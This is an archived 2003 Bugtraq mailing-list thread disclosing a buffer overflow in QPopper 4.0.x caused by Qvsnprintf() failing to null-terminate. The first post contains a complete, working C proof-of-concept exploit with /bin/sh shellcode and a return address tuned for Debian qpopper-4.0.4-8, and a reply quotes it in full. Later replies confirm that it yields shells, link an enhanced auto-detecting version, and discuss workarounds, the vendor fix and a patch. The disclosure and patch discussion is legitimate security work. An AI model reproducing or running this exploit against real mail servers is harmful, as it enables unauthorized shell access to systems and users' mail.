PDA

Bekijk Volledige Versie : QPopper 4.0.x buffer overflow vulnerability



Florian Heinz
11/03/03, 17:06
Hello,

Under certain conditions it is possible to execute arbitrary code using
a buffer overflow in the recent qpopper.

You need a valid username/password-combination and code is (depending on
the setup) usually executed with the user's uid and gid mail.

Explanation:

Qualcomm provides their own vsnprintf-implementation Qvsnprintf(). This
function is used unconditionally on any system, regardless if the system
has its own vsnprintf().
The function correctly writes up to 'n' bytes into the buffer, but fails
to null-terminate it, if buffer-space runs out while copying the
format-string (so the obvious fix is, null-terminate the buffer in
Qvsnprintf()).
This is a problem in pop_msg() (popper/pop_msg.c).
The call to Qvsnprintf() can leave the buffer 'message' unterminated, so
the successive call to strcat (strcat(message,"\r\n")) writes somewhere
into thew stack. What it exactly overwrites depends heavily on the
individual binary and the current stack-data (where is the next
null-byte).
I successfully managed to execute arbitrary code using the
'mdef'-command with the binary in the most recent debian-package
'qpopper-4.0.4-8'
Sending 'mdef <macroname>()' with a macro-name of about 1000 bytes
fills the buffer leaving it unterminated. The strcat overwrites the
least significant byte of the saved basepointer on the stack,
now pointing inside the buffer. On return of pop_mdef() (file
pop_extend.c), the return-address is now fetched from within our buffer
(and of course pointing inside our buffer), allowing to, for example,
spawn a shell.
The Macroname may not include bytes causing isspace() to return true
and, of course, no null-byte, so shellcode must be appropriate crafted.
I have tested the qpopper from SuSE 8.1 too, the flaw exists too, but
SuSE is more lucky, strcat doesn't overwrite critical values. I have
not yet tested other distributions.

Here is a POC-exploit, Values for RETADDR and BUFSIZE adjusted for
debian qpopper-4.0.4-8:

-- snip --


#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

char *sc = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x 2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\x d2\xb0\x08\x40"
"\x40\x40\xcd\x80";

#define BUFLEN 1006
#define RETLEN 148
#define RETADDR 0xbfffd304

int main (int argc, char **argv) {
int fd, len, i, retaddr = RETADDR;
char *bp, buf[2000];
struct sockaddr_in peer;
fd_set fs;

if (argc != 4) {
fprintf(stderr, "Usage: %s <ip> <user> <pass>\n\n", argv[0]);
exit(EXIT_FAILURE);
}

peer.sin_family = AF_INET;
peer.sin_port = htons(110);
peer.sin_addr.s_addr = inet_addr(argv[1]);
fd = socket(AF_INET, SOCK_STREAM, 0);
if (connect(fd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) {
perror("connect");
exit(EXIT_FAILURE);
}
snprintf(buf, 1024, "USER %s\n", argv[2]);
write(fd, buf, strlen(buf));
snprintf(buf, 1024, "PASS %s\n", argv[3]);
write(fd, buf, strlen(buf));
memset(buf, 0x90, 2000);
memcpy(buf, "mdef ", 5);
memcpy(buf + BUFLEN - RETLEN - strlen(sc), sc, strlen(sc));
bp = (char *) (((unsigned int)(buf + BUFLEN - RETLEN)) & 0xfffffffc);
for (i = 0; i < RETLEN; i += 4)
memcpy(bp+i+2, &retaddr, sizeof(int));
buf[BUFLEN-2] = '(';
buf[BUFLEN-1] = ')';
buf[BUFLEN] = '\n';
write(fd, buf, BUFLEN+1);
while (1) {
FD_ZERO(&fs);
FD_SET(0, &fs);
FD_SET(fd, &fs);
select(fd+1, &fs, NULL, NULL, NULL);
if (FD_ISSET(0, &fs)) {
if ((len = read(0, buf, 1000)) <= 0)
break;
write(fd, buf, len);
} else {
if ((len = read(fd, buf, 1000)) <= 0)
break;
write(1, buf, len);
}
}

exit(EXIT_SUCCESS);
}

-- snap --

This is the short version. An enhanced version with error-checking,
bufsize- and return-address autodetection can be found on
http://nstx.dereference.de/snippets/qex.c

Feedback is welcome.

regards,

Florian Heinz
Cronon AG
http://www.cronon.org

PS: sorry for the bad english ;)

Jonas Frey
11/03/03, 22:11
Hello,

i just checked and got:
Suse 7.3 (qpopper.rpm 4.0.3-34) is vulnerable, you get
id
uid=503(test) gid=0(root) groups=0(root)

(Using Mailuser "test").

Same goes for Suse 8.0 (qpopper-4.0.3-168)


The overflow isnt logged anywhere, you just see normal pop logins.

Jonas

On Mon, 2003-03-10 at 15:31, Florian Heinz wrote:
> Hello,
>
> Under certain conditions it is possible to execute arbitrary code using
> a buffer overflow in the recent qpopper.
>
> You need a valid username/password-combination and code is (depending on
> the setup) usually executed with the user's uid and gid mail.
>
> Explanation:
>
> Qualcomm provides their own vsnprintf-implementation Qvsnprintf(). This
> function is used unconditionally on any system, regardless if the system
> has its own vsnprintf().
> The function correctly writes up to 'n' bytes into the buffer, but fails
> to null-terminate it, if buffer-space runs out while copying the
> format-string (so the obvious fix is, null-terminate the buffer in
> Qvsnprintf()).
> This is a problem in pop_msg() (popper/pop_msg.c).
> The call to Qvsnprintf() can leave the buffer 'message' unterminated, so
> the successive call to strcat (strcat(message,"\r\n")) writes somewhere
> into thew stack. What it exactly overwrites depends heavily on the
> individual binary and the current stack-data (where is the next
> null-byte).
> I successfully managed to execute arbitrary code using the
> 'mdef'-command with the binary in the most recent debian-package
> 'qpopper-4.0.4-8'
> Sending 'mdef <macroname>()' with a macro-name of about 1000 bytes
> fills the buffer leaving it unterminated. The strcat overwrites the
> least significant byte of the saved basepointer on the stack,
> now pointing inside the buffer. On return of pop_mdef() (file
> pop_extend.c), the return-address is now fetched from within our buffer
> (and of course pointing inside our buffer), allowing to, for example,
> spawn a shell.
> The Macroname may not include bytes causing isspace() to return true
> and, of course, no null-byte, so shellcode must be appropriate crafted.
> I have tested the qpopper from SuSE 8.1 too, the flaw exists too, but
> SuSE is more lucky, strcat doesn't overwrite critical values. I have
> not yet tested other distributions.
>
> Here is a POC-exploit, Values for RETADDR and BUFSIZE adjusted for
> debian qpopper-4.0.4-8:
>
> -- snip --
>
>
> #include <sys/socket.h>
> #include <sys/select.h>
> #include <netinet/in.h>
> #include <arpa/inet.h>
> #include <stdio.h>
> #include <string.h>
> #include <stdlib.h>
> #include <unistd.h>
>
> char *sc = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x 2f\x2f\x73\x68"
> "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\x d2\xb0\x08\x40"
> "\x40\x40\xcd\x80";
>
> #define BUFLEN 1006
> #define RETLEN 148
> #define RETADDR 0xbfffd304
>
> int main (int argc, char **argv) {
> int fd, len, i, retaddr = RETADDR;
> char *bp, buf[2000];
> struct sockaddr_in peer;
> fd_set fs;
>
> if (argc != 4) {
> fprintf(stderr, "Usage: %s <ip> <user> <pass>\n\n", argv[0]);
> exit(EXIT_FAILURE);
> }
>
> peer.sin_family = AF_INET;
> peer.sin_port = htons(110);
> peer.sin_addr.s_addr = inet_addr(argv[1]);
> fd = socket(AF_INET, SOCK_STREAM, 0);
> if (connect(fd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) {
> perror("connect");
> exit(EXIT_FAILURE);
> }
> snprintf(buf, 1024, "USER %s\n", argv[2]);
> write(fd, buf, strlen(buf));
> snprintf(buf, 1024, "PASS %s\n", argv[3]);
> write(fd, buf, strlen(buf));
> memset(buf, 0x90, 2000);
> memcpy(buf, "mdef ", 5);
> memcpy(buf + BUFLEN - RETLEN - strlen(sc), sc, strlen(sc));
> bp = (char *) (((unsigned int)(buf + BUFLEN - RETLEN)) & 0xfffffffc);
> for (i = 0; i < RETLEN; i += 4)
> memcpy(bp+i+2, &retaddr, sizeof(int));
> buf[BUFLEN-2] = '(';
> buf[BUFLEN-1] = ')';
> buf[BUFLEN] = '\n';
> write(fd, buf, BUFLEN+1);
> while (1) {
> FD_ZERO(&fs);
> FD_SET(0, &fs);
> FD_SET(fd, &fs);
> select(fd+1, &fs, NULL, NULL, NULL);
> if (FD_ISSET(0, &fs)) {
> if ((len = read(0, buf, 1000)) <= 0)
> break;
> write(fd, buf, len);
> } else {
> if ((len = read(fd, buf, 1000)) <= 0)
> break;
> write(1, buf, len);
> }
> }
>
> exit(EXIT_SUCCESS);
> }
>
> -- snap --
>
> This is the short version. An enhanced version with error-checking,
> bufsize- and return-address autodetection can be found on
> http://nstx.dereference.de/snippets/qex.c
>
> Feedback is welcome.
>
> regards,
>
> Florian Heinz
> Cronon AG
> http://www.cronon.org
>
> PS: sorry for the bad english ;)
>

Torsten Mueller
12/03/03, 18:08
Florian Heinz schrieb:
>
> Hello,
>
> Under certain conditions it is possible to execute arbitrary code using
> a buffer overflow in the recent qpopper.
>
> You need a valid username/password-combination and code is (depending on
> the setup) usually executed with the user's uid and gid mail.
>
....
>
> This is the short version. An enhanced version with error-checking,
> bufsize- and return-address autodetection can be found on
> http://nstx.dereference.de/snippets/qex.c
>
> Feedback is welcome.

.... and here it comes ;-)

I tested http://nstx.dereference.de/snippets/qex.c
against 3 selfcompiled qpopper4.0.4 on 3 different machines.

I can confirm, that on one machine "it worked", i got
a shell.

More interesting for me is of course, if you can provide
a patch against 4.0.4 to close this vulnerability.

Greetings Torsten

Florian Heinz
12/03/03, 18:21
On Wed, Mar 12, 2003 at 10:33:29AM +0100, Torsten Mueller wrote:
>
>
> Florian Heinz schrieb:
> >
> > Hello,
> >
> > Under certain conditions it is possible to execute arbitrary code using
> > a buffer overflow in the recent qpopper.
> >
> > You need a valid username/password-combination and code is (depending on
> > the setup) usually executed with the user's uid and gid mail.
> >
> ...
> >
> > This is the short version. An enhanced version with error-checking,
> > bufsize- and return-address autodetection can be found on
> > http://nstx.dereference.de/snippets/qex.c
> >
> > Feedback is welcome.
>
> ... and here it comes ;-)
>
> I tested http://nstx.dereference.de/snippets/qex.c
> against 3 selfcompiled qpopper4.0.4 on 3 different machines.
>
> I can confirm, that on one machine "it worked", i got
> a shell.

Nice ;)

> More interesting for me is of course, if you can provide
> a patch against 4.0.4 to close this vulnerability.

As said, just make sure the buffer is null-terminated in Qvsnprintf().
Randall Gellens quickly reacted and released qpopper-4.0.5rc2, which
also contains a fix for this issue.
I also managed to modify a popper-binary with hexedit to use the
libc-vsnprintf instead of the Qvsnprintf provided, which solved that
problem, too, but this was merely for fun and testing, this could probably
cause other inconsistencies ;)

Randall Gellens
12/03/03, 18:24
The first I heard of the problem was this morning. Was any notice
sent to qpopper-bugs@qualcomm.com or qpopper-patches@qualcomm.com in
advance of the posting here? If so, please let me know the details
so I can see what happened to the message. If not, I'd like to know
why.

A fixed Qpopper (version 4.0.5fc2) is available now at
<ftp://ftp.qualcomm.com/eudora/servers/unix/popper/beta/>. I plan on
releasing 4.0.5 final tomorrow unless I hear of any problems with
4.0.5fc2.

--
Randall Gellens
rg_public.1@flagg.qualcomm.com
Opinions are personal; facts are suspect; I speak for myself only

Jaroslaw Zachwieja
12/03/03, 18:35
=2D----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On pon 10. marca 2003 14:31, Florian Heinz wrote:

> http://nstx.dereference.de/snippets/qex.c
> Feedback is welcome.

Enforcing TLS/SSL is a temprorary workaround against script-kiddies -=20
exploit (out-of-the-box) will not be able to authenticate.

(there is a user foobar, with passwd "lalala" on the system)

$ ./qex rootbox foobar lalala
Phase 1: Seeking buffer size
Connecting to xxx.xxx.xxx.xxx... Logging in... Could not log in. Did you=20
provide a valid username/password-combination?
Exiting due to error...

that's becouse:

$ telnet 0 110
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
+OK ready
user foobar
=2D -ERR [AUTH] You must use TLS/SSL or stronger authentication such as APO=
P to=20
connect to this server
quit

Not a fix, but who sends plaintext passwords anyway :) Unfortunately, I=20
must assume, that at some point some "friendly" soul will equip qex with=20
TLS/SSL.

What is the vendor response on that?
=2D --=20
grok

GPG public key at http://www.keyserver.net
=2D----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+bzP3ANulANzEW40RArDsAJ43VBZhYJXdhWsyGXT59L fwbJkH8wCgs+FW
8g4LLzXZ/D71rkaVjDRBR0c=3D
=3DCVSC
=2D----END PGP SIGNATURE-----

Jonathan A. Zdziarski
12/03/03, 19:03
Chrooting qpopper is also a good workaround, as well as good practice.
Instructions can be found at http://www.networkdweebs.com/chroot.html


> -----Original Message-----
> From: Jaroslaw Zachwieja [mailto:grok@tnt.pl]
> Sent: Wednesday, March 12, 2003 8:20 AM
> To: bugtraq@securityfocus.com
> Subject: Re: QPopper 4.0.x buffer overflow vulnerability
>=20
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>=20
> On pon 10. marca 2003 14:31, Florian Heinz wrote:
>=20
> > http://nstx.dereference.de/snippets/qex.c
> > Feedback is welcome.
>=20
> Enforcing TLS/SSL is a temprorary workaround against script-kiddies -
> exploit (out-of-the-box) will not be able to authenticate.
>=20
> (there is a user foobar, with passwd "lalala" on the system)
>=20
> $ ./qex rootbox foobar lalala
> Phase 1: Seeking buffer size
> Connecting to xxx.xxx.xxx.xxx... Logging in... Could not log in. Did =
you
> provide a valid username/password-combination?
> Exiting due to error...
>=20
> that's becouse:
>=20
> $ telnet 0 110
> Trying 0.0.0.0...
> Connected to 0.
> Escape character is '^]'.
> +OK ready
> user foobar
> - -ERR [AUTH] You must use TLS/SSL or stronger authentication such as =
APOP
> to
> connect to this server
> quit
>=20
> Not a fix, but who sends plaintext passwords anyway :) Unfortunately, =
I
> must assume, that at some point some "friendly" soul will equip qex =
with
> TLS/SSL.
>=20
> What is the vendor response on that?
> - --
> grok
>=20
> GPG public key at http://www.keyserver.net
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.2.1 (GNU/Linux)
>=20
> iD8DBQE+bzP3ANulANzEW40RArDsAJ43VBZhYJXdhWsyGXT59L fwbJkH8wCgs+FW
> 8g4LLzXZ/D71rkaVjDRBR0c=3D
> =3DCVSC
> -----END PGP SIGNATURE-----
>=20
>=20

Florian Heinz
12/03/03, 19:49
On Tue, Mar 11, 2003 at 07:05:51PM -0800, Randall Gellens wrote:
> The first I heard of the problem was this morning. Was any notice
> sent to qpopper-bugs@qualcomm.com or qpopper-patches@qualcomm.com in
> advance of the posting here? If so, please let me know the details
> so I can see what happened to the message. If not, I'd like to know
> why.

The cause for this bug is already identified and the fix is really
simple, I didn't see a reason to delay the post. It wasn't my intention
to cause you trouble, if I did so, I'm sorry. I had bad experience
informing vendors in the past, so I skipped that in this case.
For example, some time ago I reported the (non-exploitable) bug in
pop_msg.c, line 254f.:
free(local_element.mdef_macro); /* From strdup */
return pop_msg(p, POP_SUCCESS, HERE, "Macro \"%s\" accepted",
local_element.mdef_macro);
and I didn't get a reply. Perhaps you want to fix this flaw too, in fc2.

regards,

Florian Heinz

Harald Hellmuth
13/03/03, 18:59
On Tue, 11 Mar 2003 19:05:51 -0800
Randall Gellens <rg_public.1@flagg.qualcomm.com> wrote:

> The first I heard of the problem was this morning. Was any notice
> sent to qpopper-bugs@qualcomm.com or qpopper-patches@qualcomm.com in
> advance of the posting here? If so, please let me know the details
> so I can see what happened to the message. If not, I'd like to know
> why.
>
> A fixed Qpopper (version 4.0.5fc2) is available now at
> <ftp://ftp.qualcomm.com/eudora/servers/unix/popper/beta/>. I plan on
> releasing 4.0.5 final tomorrow unless I hear of any problems with
> 4.0.5fc2.
>
> --
> Randall Gellens
> rg_public.1@flagg.qualcomm.com
> Opinions are personal; facts are suspect; I speak for myself only

Hello,

Yesterday(2003-03-12) I've sent the following email to qpopper-bugs@qualcomm.com:

------------------------------ snip ---------------------------------------
Dear Sir or Madam,

Florian Heinz posted an exploit to gain shell access through qpopper.
See http://nstx.dereference.de/snippets/qex.c.
The reason is an unterminated bufferstring in Qvsnprintf.

I looked at version 4.05fc2 and there is a change, but i think that
change isn't correct.

/* From File common/snprintf.c */
if ( nSize == 0 && *p != '\0' )
{
*s = '\0';
return -1;
}
else
return ( (n-1) - nSize );


/* when string that should be written to the buffer fits exactly,
* than there will no Zero-Byte be written to buffer, cause the for
* loop terminates when nSize is 0 and the terminating '\0' of p is not
* copied to buffer ;-(
*/

Ithink, it should be written as :


if ( nSize || *p=='\0')
{
*s++ = *p;
return ( (n-1) - nSize );
}
else{
*s++ = '\0';
return -1;
}


Please excuse my bad english.

regards

Harald Hellmuth
------------------------------ snap ---------------------------------------

with best regards


--

Harald Hellmuth
E-Mail: hh@hostserver.de